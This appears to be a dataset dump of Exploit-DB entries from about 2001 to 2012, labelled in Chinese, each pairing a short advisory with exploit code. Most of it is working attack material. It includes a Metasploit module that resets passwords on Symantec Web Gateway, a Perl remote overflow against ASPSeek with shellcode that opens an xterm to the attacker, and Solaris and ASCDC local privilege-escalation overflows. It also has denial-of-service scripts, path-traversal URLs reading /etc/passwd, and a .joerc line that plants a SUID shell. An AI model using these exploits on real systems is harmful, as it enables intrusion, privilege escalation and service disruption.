QLWD/code_shield huggingface dataset:
标题: FTPFS 0.1.1/0.2.1/0.2.2 - mount Buffer Overflow EDB-ID: 20691 CVE: 2001-0468 类型: LOCAL 平台: LINUX 发布日期: 2001-03-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/2498/info

FTPFS is a Linux kernel module allowing users to mount remote files from any standard FTP server as a local filesystem.

A version of FTPFS is vulnerable to a buffer overflow leading to a denial of service, and potentially execution of arbitrary code. This overflow can be exploited by any local user with access to the mount command on a system with FTPFS installed.

mount -t ftpfs none /mnt -o ip=127.0.0.1,user=xxxxxxxxxxxxxxxxxxxxxxxxxxxx... URL: https://www.exploit-db.com/exploits/20691
标题: Alt-N MDaemon 3.5.6/5.0.7/6.x - IMAP Denial of Service EDB-ID: 20696 CVE: 2001-0584 类型: DOS 平台: WINDOWS 发布日期: 2001-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/2508/info

A successfully logged-in user, via IMAP, could cause MDaemon to terminate the connection. If the user submits either a 'SELECT' or 'EXAMINE' command appended with 250 or more characters, MDaemon will refuse any new connections to the IMAP service. A restart of the service is required in order to gain normal functionality. 

* OK company.mail IMAP4rev1 MDaemon 3.5.6 ready

1 LOGIN JOE PASSWORD
* OK LOGIN completed
1 SELECT AAAAAAA.... URL: https://www.exploit-db.com/exploits/20696
标题: Symantec Web Gateway 5.0.3.18 - Arbitrary Password Change (Metasploit) EDB-ID: 20706 CVE: 2012-2977 类型: WEBAPPS 平台: LINUX 发布日期: 2012-08-21 漏洞利用脚本: ##
# @_Kc57
# Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change",
   'Description'    => %q{
     This module will change the password for the specified account on a Symantec Web Gatewaye server.
   },
   'License'        => MSF_LICENSE,
   'Version'        => "$Revision: 0 $",
   'Author'         =>
    [
     'Kc57',
    ],
   'References'     =>
    [
     [ 'CVE', '2012-2977' ],
     [ 'OSVDB', '0' ],
     [ 'BID', '54430' ],
     [ 'URL', 'https://www.securityfocus.com/bid/54430' ],
    ],
   'DisclosureDate' => "Jul 23 2012" ))

   register_options(
    [
     Opt::RPORT(80),
     OptString.new('USER', [ true, 'The password to reset to', 'admin']),
     OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin'])
    ], self.class)
 end

 def run

  print_status("Attempting to connect to https://#{rhost}/spywall/temppassword.php to reset password")
  res = send_request_raw(
  {
   'method'  => 'POST',
   'uri'     => '/spywall/temppassword.php',
  }, 25)

  #check to see if we get HTTP OK
  if (res.code == 200)
   print_status("Okay, Got an HTTP 200 (okay) code. Checking if exploitable")
  else
   print_error("Did not get HTTP 200, URL was not found. Exiting!")
   return
  end

  #Check to if the temppassword.php page loads or if we are redirected to the login page
  if (res.body.match(/Please Select a New Password/i))
   print_status("Server is vulnerable!")
  else
   print_error("Target doesn't seem to be vulnerable!")
   return
  end

  print_status("Attempting to exploit password change vulnerability on #{rhost}")
  print_status("Attempting to reset #{datastore['USER']} password to #{datastore['PASSWORD']}")

  data  = 'target=executive_summary.php'
  data << '&USERNAME=' + datastore['USER']
  data << '&password=' + datastore['PASSWORD']
  data << '&password2=' + datastore['PASSWORD']
  data << '&Save=Save'

  res = send_request_cgi(
  {
   'method'  => 'POST',
   'uri'     => '/spywall/temppassword.php',
   'data'    => data,
  }, 25)

  if res.code == 200
   if (res.body.match(/Thank you/i))
    print_status("Password reset was successful!\n")
   else
    print_error("Password reset failed! User '#{datastore['USER']}' may not exist.\n")
   end
  else
   print_error("Password reset failed!")
  end
 end

end URL: https://www.exploit-db.com/exploits/20706
标题: SWSoft ASPSeek 1.0 - 's.cgi' Remote Buffer Overflow EDB-ID: 20689 CVE: 2001-0476 类型: REMOTE 平台: CGI 发布日期: 2001-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/2492/info

A buffer overflow in ASPSeek versions 1.0.0 through to 1.0.3 allows for arbitrary code execution with the privileges of the web server. The vulnerable script is s.cgi and the buffer overflow can be accessed by submitting an excessively long query string to the script (the variable tmpl, specifically). 

#!/usr/bin/perl

# | Remote buffer overflow exploit for ASPSeek, SWSoft
# | Copyright (c) 2001 by <teleh0r@doglover.com>
# | All rights reserved.
# |
# | Usage: $0 -t target -a attacker -d dpy -o offset
# | Credits to NeilK who discovered the vulnerability!

use Getopt::Std; getopts('t:a:d:o:', \%args);
use Socket;

if (defined($args{'t'})) { $target   = $args{'t'}; }
if (defined($args{'a'})) { $attacker = $args{'a'}; }
if (defined($args{'d'})) { $dpy      = $args{'d'}; }
if (defined($args{'o'})) { $offset   = $args{'o'}; }

$shellcode = # RaiSe <raise@undersec.com>
"\xeb\x4f\x5e\x31\xd2\x88\x56\x14\x88\x56\x18\x88\x56".
"\x21\xb2\x2b\x31\xc9\xb1\x09\x80\x3c\x32\x4b\x74\x05".
"\x42\xe2\xf7\xeb\x2b\x88\x34\x32\x31\xd2\x89\xf3\x89".
"\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d\x7e\x19\x89\x7e".
"\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e\x36".
"\x8d\x56\x46\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8".
"\x40\xcd\x80\xe8\xac\xff\xff\xff/usr/X11R6/bin/xterm".
"8-ut8-display8${attacker}:${dpy}K";

# Remember to allow $target to connect to your X by 
# using xhost + $target.

$return = 0xbfffd1a4;
$length = 5200;
$egglen = 4500;

if (!(defined($target && $attacker && $dpy))) {
    die("Error: $0 -t \"target\" -a \"attacker\" -d \"dpy\"\n");
}

print("Address: 0x", sprintf('%lx', ($return + $offset)), "\n");
$new_ret = pack('l', ($return + $offset));

for ($i = 0; $i < $length; $i += 4) {
    $buffer .= $new_ret;
}

for ($i = 0; $i < ($egglen - length($shellcode)); $i++) {
    $egg .= 'A';
}

$egg .= $shellcode;

$exploit =
"GET /./cgi-bin/./s.cgi?q=a&tmpl=$buffer HTTP/1.1
Host: $target
Referer: http://teleh0r.cjb.net/
User-Agent: $egg
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate, compress, identity
Content-Type: application/x-www-form-urlencoded";

$iaddr = inet_aton($target)                  || die("Error: $!\n");
$paddr = sockaddr_in(80, $iaddr)             || die("Error: $!\n");
$proto = getprotobyname('tcp')               || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr)                      || die("Error: $!\n");
send(SOCKET,"$exploit\015\012", 0)           || die("Error: $!\n");
close(SOCKET);

# Tested on Redhat 6.2 - aspseek-1.0.3 - Tue Mar 20 18:09:44 2001 URL: https://www.exploit-db.com/exploits/20689
标题: Qualcomm Eudora 5.0.2 - 'Use Microsoft Viewer' Code Execution EDB-ID: 20688 CVE: 2001-0365 类型: REMOTE 平台: WINDOWS 发布日期: 2001-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/2490/info

Eudora uses Internet Explorer to assist in the viewing of html messages if the 'Use Microsoft Viewer' option is enabled. Eudora also has a 'allow executables in HTML content' option, which the documentation recommends be disabled for securithy reasons. It is possible for an attacker to excecute arbitrary code on a remote system even if 'allow executables in HTML content' is disabled, if the 'Use Microsoft viewer' option is enabled. 

http://www.malware.com/you!DORA.txt URL: https://www.exploit-db.com/exploits/20688
标题: IkonBoard 2.1.7b - Remote File Disclosure EDB-ID: 20683 CVE: 2001-0360 类型: REMOTE 平台: CGI 发布日期: 2001-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/2471/info

Ikonboard is a perl-based discussion forum script from ikonboard.com.

Versions of Ikonboard are vulnerable to remote disclosure of arbitrary files.

By adding a null byte to the name of a requested file, the attacker can defeat the script's inbuilt feature of appending the suffix '.dat' to requested filenames, a precaution intended to limit the range of files readable using this script.

Exploited in conjunction with '../' sequences inserted into the path of the requested file, this vulnerability allows a remote attacker to submit requests for arbitrary files which are readable by the webserver user.

This could include sensitive system information, including account information and passwords for Ikonboard users and administrators. 

Example:

http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00

will disclose /etc/passwd, if readable by the webserver.

http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../members/[member].cgi%00

discloses the ikonboard account password for [member], including admin acounts. URL: https://www.exploit-db.com/exploits/20683
标题: OReilly Software WebSite Professional 2.5.4 - Path Disclosure EDB-ID: 20687 CVE: 2001-0626 类型: REMOTE 平台: WINDOWS 发布日期: 2001-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/2488/info

Requesting a specially crafted URL to a machine running O'Reilly & Associates Website Professional, will disclose the physical path to the root directory. 

www.example.com/:/ URL: https://www.exploit-db.com/exploits/20687
标题: Solaris 2.5/2.6/7.0/8 tip - Local Buffer Overflow EDB-ID: 20684 CVE: 2001-0401 类型: LOCAL 平台: SOLARIS 发布日期: 2001-03-27 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2475/info

tip is a utility included with Sun Microsystems Solaris Operating Environment. tip allows a user to establish a full duplex terminal connection with a remote host.

A problem with tip could lead to a buffer overflow. Due to the improper handling of environment variables by tip, it is possible to overflow a buffer in the program, and execute arbitrary code. The tip binary is suid uucp, and exploitation could lead to an euid of uucp.

Therefore, it is possible for a local user to execute arbitrary code, and gain an euid of uucp, with the potential of gaining privileges elevated to root.

#include <fcntl.h>

/*
   /usr/bin/tip overflow proof of conecpt.


   Pablo Sor, Buenos Aires, Argentina 03/2001
   psor@afip.gov.ar

   works against x86 solaris 7,8

   default offset should work.

*/


long get_esp() { __asm__("movl %esp,%eax"); }

int main(int ac, char **av)
{

char shell[]=
"\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05"
"\xe8\xf9\xff\xff\xff\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2"
"\x50\xb0\x8d\xe8\xe0\xff\xff\xff\x6a\x05\x90\xb0\x17\xe8\xd6\xff\xff\xff"

"\xeb\x1f\x5e\x8d\x1e\x89\x5e\x0b\x29\xc0\x88\x46\x19\x89\x46\x14"
"\x89\x46\x0f\x89\x46\x07\xb0\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18"
"\xe8\xdc\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78\x01\x01\x01\x01\x02\x02"

"\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

  unsigned long magic = get_esp() + 0x50;  /* default offset */
  unsigned char buf[600];

  symlink("/bin/ksh","/tmp/xx");
  memset(buf,0x90,600);
  buf[599]=0;
  memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
  memcpy(buf,"HOME=",5);
  memcpy(buf+265,&magic,4);
  putenv(buf);

  system("/usr/bin/tip 5");
  unlink("/tmp/xx");
} URL: https://www.exploit-db.com/exploits/20684
标题: Free Online Dictionary of Computing 1.0 - Remote File Viewing EDB-ID: 20686 CVE: 2001-0461 类型: REMOTE 平台: CGI 发布日期: 2001-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/2484/info

A vulnerability exists in a CGI script called "The Free Online Dictionary of Computing".

Due to a failure to properly validate user supplied input, a remote attacker can compose and submit requests for files readable by the webserver, as well as executing certain commands (those requiring no command line parameters) with the privilege level of the webserver process. 

http://example.com/foldoc/template.cgi?template.cgi URL: https://www.exploit-db.com/exploits/20686
标题: Rob Malda ASCDC 0.3 - Local Buffer Overflow (1) EDB-ID: 20678 CVE: 2001-0459 类型: LOCAL 平台: UNIX 发布日期: 2001-03-08 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/2462/info

ascdc is a program written for X by Rob Malda. It is designed to provide a graphical interface to cd changing on linux systems.

A vulnerability in the program could allow elevated privileges on a system with the package installed setuid. Due to insufficent bounds checking, it is possible to execute arbitrary code with the ascdc program. Overflows in the -c, -d, and -m arguments make it possible for a user to overwrite variables on the stack, including the return address, and execute shellcode.

The program is not installed setuid. However, in a setuid installation, this problem makes it possible for a user to execute arbitrary code, and potentially gain elevated privileges. 
*/

char shellcode[]="\xeb\x15\x59\x31\xc0\x31\xdb\x31\xd2\xb0"
           "\x04\xb3\x01\xb2\x50\xcd\x80\x31\xc0\xb0"
           "\x01\xcd\x80\xe8\xe6\xff\xff\xff"
           "Would you like to play a game? y\x0aStrange, the only winning
move is not to play.\x0a";
#define bsize 600
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int i;
  buff = malloc(bsize);

  addr = get_sp();
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < 600/2; i++)
    buff[i] = 0x90;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
    buff[bsize - 1] = '\0';
 execlp("/usr/X11R6/bin/ascdc","ascdc","-d",buff,0);

} URL: https://www.exploit-db.com/exploits/20678
标题: Baltimore Technologies WEBsweeper 4.0 - Denial of Service EDB-ID: 20681 CVE: 2001-0460 类型: DOS 平台: WINDOWS 发布日期: 2001-01-22 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2465/info

Baltimore Technology WEBsweeper is subject to a denial of service condition. Submitting an unusually long HTTP request through WEBsweeper will cause the consumption of all available memory on the server where WEBsweeper resides. 

/*

----[ honoriak from [HeliSec] 22.3.2001

    [ Proof of concept Websweeper Infinite HTTP Request DoS  ]
    [ Advisory Defcom Labs Advisory def-2001-10          ]

 Thanks to doing and all helisec members: merphe, jet-li, kiss,
 lyw0d, bonjy.

*/


#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <time.h>
#include <sys/time.h>
#include <fcntl.h>

#define PORT 80
#define LEN 2000000
#define CON 200

int i, v, n, sel, envi;
int cons[CON];
char ah[LEN];
char ahh[LEN + 7];
char *host;
fd_set env;
struct sockaddr_in victim;

void usage(char *prog) {
 printf("[ Websweeper Infinite HTTP Request DoS by honoriak@mail.ru ");
 printf("from Helisec ]\n");
 printf("-- Advisory: Defcom Labs Advisory def-2001-10 --\n\n");
 printf("Usage: %s hostname number_of_gets\n", prog);
 exit(0);
 }

unsigned long resolver(char *h)  {

struct in_addr h2;
struct hostent *hvic;

if (!(hvic = gethostbyname(h))) return(0);
memcpy((char *)&h2.s_addr, hvic->h_addr, hvic->h_length);
return(h2.s_addr);
}

int main(int argc, char *argv[])
{

 if (argc < 2)
        {
         usage(argv[0]);
        }

bzero(&victim, sizeof(victim));
victim.sin_family = AF_INET;
victim.sin_port = htons(PORT);

if ( (inet_pton(AF_INET, argv[1], &victim.sin_addr)) <= 0)
 {
 victim.sin_addr.s_addr = resolver(argv[1]);
 }

if (!victim.sin_addr.s_addr) {
 printf("Error resolving host\n");
 exit(-1);
 }

for (i=0; i<=(LEN-1); i++)  ah[i] = 'a';
ah[LEN-1] = '\0';
printf("Sending Infinite HTTP Request...\n");

sprintf(ahh, "GET /%s\n", ah);

for (sel=0; sel < CON; sel++)
{

if ((cons[sel] = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
 printf("Error opening socket\n");
        exit(-1);
        }

if ( (n=connect(cons[sel], (struct sockaddr *)&victim, sizeof(victim))) < 0) {
                  printf("Error connecting\n");
                  exit(-1);
         }

}

for (sel=0; sel < CON; sel++) {

FD_SET(cons[sel], &env);

envi=select(cons[sel] + 1, NULL, &env, NULL, NULL);

if ( FD_ISSET(cons[sel], &env) ) {
if ( (send(cons[sel], ahh, strlen(ahh), 0)) < 1) {
 printf("Error sending\n");
 exit(-1);
 }
}

}
exit(-1);
}

/* [HeliSec] <=> [Helios Security and Administration] */ URL: https://www.exploit-db.com/exploits/20681
标题: Microsoft Internet Explorer 5.0.1/5.5/6.0 - Telnet Client File Overwrite EDB-ID: 20680 CVE: 2001-0150 类型: REMOTE 平台: WINDOWS 发布日期: 2001-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/2463/info

Services for Unix 2.0 contains a client side logging option which records all information exchanged in a telnet session. A vulnerability exists that could enable a remote user to invoke the telnet client and execute arbitrary commands on a target machine via IE. This is achieved by crafting a URL composed of command line parameters to the telnet client, which would invoke 'telnet.exe'. Telnet would connect to the host and initate the logging of session information, access to this file will allow an attacker to write and execute arbitrary commands which may be executed later. 

The following URL will cause IE to connect to the host and initiate the logging function:

telnet:-f%20\file.txt%20host

The following is an example of a malicious HTML message which could cause data that is received from the destination port on the host "host" to be written to the file "filename" in the startup directory for all users. If the logged in user has the appropriate permissions, a batch file will be created and executed upon future authentication.

<html>
<frameset rows="100%,*">
<frame src=about:blank>
<frame src=telnet:-f%20\Documents%20and%Settings\All%20Users
\start%20menu\programs\startup\start.bat%20host%208000>
</frameset>
</html> URL: https://www.exploit-db.com/exploits/20680
标题: Joe Text Editor 2.8 - '.joerc' Arbitrary Command Execution EDB-ID: 20658 CVE: 2001-0289 类型: LOCAL 平台: UNIX 发布日期: 2001-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/2437/info

Joe is a text editor originally written by Joseph Allen. Joe offers a user-friendly interface, with key binding and configuration familiar to many users of Microsoft Word Processing tools.

A problem in the sourcing of the .joerc file could lead to arbitrary execution of commands. By design, joe searches for it's configuration (.joerc) file in three different places. These places are the Current Working Directory (CWD), $HOME/.joerc, and /usr/local/lib/joerc. By creating a custom crafted .joerc file in a world writable directory, a person editing a file in the world writable directory would execute arbitrary commands when starting joe.

Therefore, it is possible for a user with malicious motives to create custom crafted joerc files in world writable directories, and execute arbitrary commands as other users. This could be done through social engineering, and potentially lead to elevated privileges. 


Copying the /usr/local/lib/joerc file to a world writable directory, the following line can be added to create a malicious key binding:

:def spellfile filt,"cat >ispell.tmp;ispell ispell.tmp </dev/tty>/dev/tty;cat ispell.tmp;/bin/rm ispell.tmp;cp /bin/zsh /tmp/suid; chmod 4755 /tmp/suid",rtn,retype

This will bind the creation of a SUID shell in the /tmp directory to the keys ^[l. This exploit will allow the attacker to assume the identity of the user of joe. URL: https://www.exploit-db.com/exploits/20658
标题: Microsoft IIS 5.0 - WebDAV Denial of Service EDB-ID: 20664 CVE: 2001-0151 类型: DOS 平台: WINDOWS 发布日期: 2001-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/2453/info

Microsoft IIS is subject to a denial of service condition. WebDAV contains a flaw in the handling of certain malformed requests, submitting multiple malformed WebDAV requests could cause the server to stop responding. This vulnerability is also known to restart all IIS services. 

#!/usr/bin/perl 
# Written by Georgi Guninski 
use IO::Socket; 

print "IIS 5.0 propfind\n"; 

$port = @ARGV[1]; 
$host = @ARGV[0]; 
  

sub vv() 
{ 

$ll=$_[0]; #length of buffer 
$ch=$_[1]; 
$over=$ch x $ll; #string to overflow 

$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return; 
#$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."$over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n"; 
# ^^^^ This is another issue and also works with length ~>65000 
  

$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n"; 
$l=length($xml); 
$req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n"; 
syswrite($socket,$req,length($req)); 
print "."; 
$socket->read($res,300); 
#print "r=".$res; 
close $socket; 
} 
  

do vv(128008,"V"); # may need to change the length 
sleep(1); 
do vv(128008,"V"); 
print "Done.\n"; URL: https://www.exploit-db.com/exploits/20664
标题: WhitSoft SlimServe HTTPd 1.1 - 'GET' Denial of Service EDB-ID: 20662 CVE: 2001-0171 类型: DOS 平台: WINDOWS 发布日期: 2001-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/2451/info

SlimServe HTTPd is a free HTTP Daemon maintained by WhitSoft Development. SlimServe is designed to provide basic HTTP services on the Microsoft Windows platform.

A problem in the handling of HTTP GET requests could allow a remote user to deny service to legitimate users of web services. Upon requesting a long filename from the HTTP server (estimated 80000 characters), the server crashes. Upon ceasing operation, it produces an "invalid page fault" error. The service will not operate again until SlimServe is manually restarted.

It is therefore possible for a malicious remote user to connect to the server and request a long file name, crashing the server, and resulting in a denial of service attack. 

echo "GET " `perl -e 'print "A" x 80000'` | nc vulnerable.server 80 URL: https://www.exploit-db.com/exploits/20662
标题: KICQ 1.0 - Arbitrary Command Execution EDB-ID: 20660 CVE: 2001-0274 类型: REMOTE 平台: UNIX 发布日期: 2001-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/2443/info

KICQ is an ICQ-compatible interactive messaging client for Unix. Versions of KICQ are vulnerable to remote execution of arbitrary commands embedded in URLs.

A maliciously-composed URL containing shell metacharacters and shell commands can be sent in an instant message by an attacker.

When the KICQ user clicks this link, the hostile code contained in the URL will execute with the privilege level of the user running KICQ. 

* Attacker composes malicious URL, ie:

http://www.attack.com/index.html'&xterm&'truehttp://www.attack.com </external/http://www.attack.com/index.html'&xterm&'truehttp://www.attack.com>..............................................................

('.' characters = spaces)

* To the target user, the above URL appears to be:

"http://www.attack.com/" </external/http://www.attack.com/>

* When the target user opens the URL, the shell commands contained within it (ie 'xterm') will be executed, potentially without warning to the user. URL: https://www.exploit-db.com/exploits/20660
标题: Robin Twombly A1 HTTP Server 1.0 - Directory Traversal EDB-ID: 20657 CVE: 2001-0286 类型: REMOTE 平台: WINDOWS 发布日期: 2001-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/2436/info

It is possible for a remote user to gain read access to directories and files outside the web root. Requesting a specially crafted URL composed of '../' sequences will disclose an arbitrary directory, appending the known filename will disclose the requested resource. 

http://target/../../../../../../Scandisk.log URL: https://www.exploit-db.com/exploits/20657
标题: jarle aase war ftpd 1.67 b04 - Directory Traversal EDB-ID: 20661 CVE: 2001-0295 类型: REMOTE 平台: WINDOWS 发布日期: 2001-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/2444/info

A remote user could gain read access to directories outside of the ftp root in a Jarle Aase War FTPD Server. Once a user is logged into the server, a specially crafted 'dir' command will disclose an arbitrary directory. This vulnerability could allow an attacker to gain read access to various files residing on the target machine. 

dir *./../.. URL: https://www.exploit-db.com/exploits/20661